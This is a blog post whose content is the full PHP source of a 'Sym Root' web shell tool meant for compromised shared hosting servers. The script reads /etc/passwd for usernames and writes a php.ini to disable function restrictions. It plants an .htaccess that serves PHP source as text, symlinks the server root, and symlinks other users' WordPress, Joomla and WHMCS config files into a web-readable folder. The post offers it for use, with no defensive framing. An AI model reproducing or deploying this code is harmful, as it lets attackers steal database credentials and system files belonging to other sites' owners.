[ PHP ] Sym Root

<?php


 $head = '
<html>
<head>
<title>Sym Root Kid1412</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<style type="text/css">

      body
      {
         color: #101010;
         background-color: #202020;
         font-family: Arial, Helvetica, sans-serif;
      }

      .Button
      {
         padding: 5px 10px;
         background: #FFF;
         border: solid #101010 2px;
         color: #000;
         cursor: pointer;
         font-weight: bold;
         border-radius: 5px;
         -moz-border-radius: 5px;
         -webkit-border-radius: 5px;
      }

      .Input
      {
         border: solid #101010 1px;
         color: #101010;
         font-weight: bold;
         padding: 3px;
         background-color: #eefceb;
      }
    </style>

<script language=\'javascript\'>
function hide_div(id)
{
  document.getElementById(id).style.display = \'none\';
  document.cookie=id+\'=0;\';
}
function show_div(id)
{
  document.getElementById(id).style.display = \'block\';
  document.cookie=id+\'=1;\';
}
function change_divst(id)
{
  if (document.getElementById(id).style.display == \'none\')
    show_div(id);
  else
    hide_div(id);
}
</script>'; ?>
<html>
<head>
<?php
echo $head ;
echo '

<table width="100%" cellspacing="0" cellpadding="0" class="tb1" >



       <td width="100%" align=center valign="top" rowspan="1">
           <font color=red ><b><h1> Sym ljnk All Config + Sym Root </font></h1> <div class="hedr">

        <td height="10" align="left" class="td1"></td></tr><tr><td
        width="100%" align="center" valign="top" rowspan="1"><font
        color="red" face="comic sans ms"size="1"><b>
       
           </table>
     

';

?>
<center>
<form method=post><font color=red size=2 >Creat php.ini file</font><p>
<input type="submit" name=ini value="Generate PHP.ini" /></form>
<form method=post><font color=red size=2 >Get usernames for symlink</font><p>
<input type="submit" name="usre" value="Extract usernames" /></form>
<?php
if(isset($_POST['ini']))
{

$r=fopen('php.ini','w');
$rr=" disbale_functions=none ";
fwrite($r,$rr);
$link="<a href=php.ini><font color=white size=2 face=\"comic sans ms\"><u></u></font></a>";
$link="<a href=php.ini><font color=white size=2 face=\"comic sans ms\"><u></u></font></a>";
echo $link;
}
?>
<?php
if(isset($_POST['usre'])){
?><form method=post>
<textarea rows=10 cols=50 name=user><?php  $users=file("/etc/passwd");
foreach($users as $user)
{
$str=explode(":",$user);
echo $str[0]."\n";
}

?></textarea><br><br>
<input type=submit name=su value="Lets Start" /></form>
<?php } ?>
<?php
error_reporting(0);
echo "<font color=red size=2 face=\"comic sans ms\">";
if(isset($_POST['su']))
{
mkdir('sym',0777);
$rr  = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
$g = fopen('sym/.htaccess','w');
fwrite($g,$rr);
$Sym = symlink("/","sym/root");
   $rt="";
        echo "$rt";

$dir=mkdir('sym',0777);
$r  = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
        $f = fopen('sym/.htaccess','w');
 
        fwrite($f,$r);
        $consym="<a href=sym/><font color=red size=3 face=\"comic sans ms\">configuration files</font></a>";
        echo "<br>Sym Ljnk All ConFig <br><u><font color=yellow size=2 face=\"comic sans ms\">$consym</font></u>";
       
        $usr=explode("\n",$_POST['user']);
        $configuration=array("wp-config.php","wordpress/wp-config.php","configuration.php","blog/wp-config.php","joomla/configuration.php","vb/includes/config.php","includes/config.php","conf_global.php","inc/config.php","config.php","Settings.php","sites/default/settings.php","whm/configuration.php","whmcs/configuration.php","support/configuration.php","whmc/WHM/configuration.php","whm/WHMCS/configuration.php","whm/whmcs/configuration.php","support/configuration.php","clients/configuration.php","client/configuration.php","clientes/configuration.php","cliente/configuration.php","clientsupport/configuration.php","billing/configuration.php","admin/config.php");
foreach($usr as $uss )
{
$us=trim($uss);

foreach($configuration as $c)
{
$rs="/home/".$us."/public_html/".$c;
$r="sym/".$us." .. ".$c;
symlink($rs,$r);

}

}


}



?>
[ PHP ] Sym Root Reviewed by Nguyen Nam Hong on 10:38 PM Rating: 5
Copyright © Kid1412 Blog's 💖 2016
Development by Hong Nguyen Nam
Powered by Blogger.